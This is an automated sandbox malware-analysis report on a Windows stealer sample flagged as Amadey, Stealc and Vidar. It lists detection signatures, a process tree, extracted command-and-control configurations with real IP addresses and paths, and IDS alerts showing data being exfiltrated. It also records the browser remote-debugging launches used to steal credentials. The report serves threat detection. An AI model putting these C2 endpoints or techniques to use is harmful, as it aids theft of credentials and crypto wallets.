Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561038
MD5:	c80d723528ed0121eef557cc31bd4c87
SHA1:	150ec423edbfb73989a525fc3b553d06f411ece7
SHA256:	fa8380534c7876773e1315360225f92d30fc4ff6c4cdf70bebaf16e5f450d6f5
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7928 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C80D723528ED0121EEF557CC31BD4C87)

chrome.exe (PID: 7284 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2080,i,18242314153072897791,5523460126860221555,262144 /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

msedge.exe (PID: 5400 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2380,i,15895540208041940085,12511833201022013577,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7384 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGHDGIDAK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIDGHDGIDAK.exe (PID: 3348 cmdline: "C:\Users\user\DocumentsIDGHDGIDAK.exe" MD5: 9DDBAC8AABA1C5BB2F9A22717A60A6BA)

skotes.exe (PID: 7944 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9DDBAC8AABA1C5BB2F9A22717A60A6BA)

msedge.exe (PID: 6880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8660 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6424 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8692 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6872 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceuserer --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6492 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8724 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9DDBAC8AABA1C5BB2F9A22717A60A6BA)

skotes.exe (PID: 8572 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9DDBAC8AABA1C5BB2F9A22717A60A6BA)

rnd.exe (PID: 6148 cmdline: "C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe" MD5: BFC5EA31B4AEEFEC1508E8F5B458E574)

Mp3tag.exe (PID: 8920 cmdline: "C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe" MD5: A7118DFFEAC3772076F1A39A364D608D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000002.2071721210.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2029497529.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1458503621.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2067092916.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1985884053.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2022059982.0000000000B51000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2025424614.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2710533772.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.1979976382.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2438369832.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7928	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7928	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7928	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.DocumentsIDGHDGIDAK.exe.b50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7928, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7284, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:10:10.972993+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	49912	31.41.244.11	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:10:26.301929+0100	2044696	1	A Network Trojan was detected	192.168.2.10	49945	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:29.984731+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.10	49700	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:29.858680+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.10	49700	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:30.313466+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.10	49700	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:31.766464+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.10	49700	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:30.435370+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.10	49700	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:29.345137+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49700	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:10:06.365903+0100	2856147	1	A Network Trojan was detected	192.168.2.10	49900	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:10:24.903483+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.10	49907	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:10:10.972993+0100	2803305	3	Unknown Traffic	192.168.2.10	49912	31.41.244.11	80	TCP
2024-11-22T17:10:28.057685+0100	2803305	3	Unknown Traffic	192.168.2.10	49951	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T17:08:33.410376+0100	2803304	3	Unknown Traffic	192.168.2.10	49700	185.215.113.206	80	TCP
2024-11-22T17:08:55.712633+0100	2803304	3	Unknown Traffic	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:08:57.828148+0100	2803304	3	Unknown Traffic	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:08:59.165857+0100	2803304	3	Unknown Traffic	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:00.285973+0100	2803304	3	Unknown Traffic	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:03.911959+0100	2803304	3	Unknown Traffic	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:05.029275+0100	2803304	3	Unknown Traffic	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:11.501120+0100	2803304	3	Unknown Traffic	192.168.2.10	49828	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll/	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpHG	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpD52	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllr	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpX#R	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllo	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllj	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbP	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php(_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll/	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php.10	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000002.2071721210.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CBE6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:49829 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.10:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.11:443 -> 192.168.2.10:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.10:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.10:49837 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: pbBuf != NULLlnLength != 0SZipFile::AppendCentralDirFileHeaderpOut != NULLY:\projects\_main\SZipFile.cppSZipFile::AllocateNewDataBlockastrInFilePaths[i]astrInFilePaths.size() != 0_S_FALSE(m_zf.bZipFileOpen)strOutFilePathSZipFile::CompressFilesAbspbCopyTo != NULLpdb->pdbNext != NULLrcdc.pdbFirst != NULL && rcdc.pdbLast != NULLSZipFile::DeleteDataBlocksdwLength <= 4readastrInFileNames[i]astrInFileNames.size() != 0SZipFile::CompressFilesRelpfileIn != NULLrb_S_FALSE(m_zf.bSubFileOpen)_S_TRUE(m_zf.bZipFileOpen)strGlobalCommentSZipFile::ZipCloseSZipFile::SZipFilehFind != INVALID_HANDLE_VALUE_S_FALSE(strFilePath.IsEmpty())SZipFile::GetFileTimem_zf.sfi.dwLocalFileHeaderPos != _S_NUM_MAXDWORDlpszFilePathlpszCommentSZipFile::ZipCreateSubFiledwOldPos != _S_NUM_MAXDWORD_S_TRUE(m_zf.bSubFileOpen)SZipFile::ZipCloseSubFiledwPosCentralDir != _S_NUM_MAXDWORDSZipFile::ZipWriteSubFilem_zf.dwStartPos != _S_NUM_MAXDWORDwbSZipFile::ZipOpen1.3.1m_zf.sfi.pbCentralDirFileHeader != NULLSDocument8 source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: rcdc.pdbFirst != NULL && rcdc.pdbLast != NULL source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: Y:\build\binaries\mp3tag\Mp3tag64.pdb source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: Y:\build\binaries\mp3tag\Mp3tag64.pdb? source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: rnd.exe, 0000001D.00000002.2660531051.00007FF6850CE000.00000002.00000001.01000000.0000000E.sdmp, rnd.exe, 0000001D.00000000.2640354146.00007FF6850CE000.00000002.00000001.01000000.0000000E.sdmp, rnd[1].exe.27.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49700 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.10:49700 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.10:49700
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.10:49700 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.10:49700
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.10:49700 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.10:49900 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.10:49907
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.10:49945 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

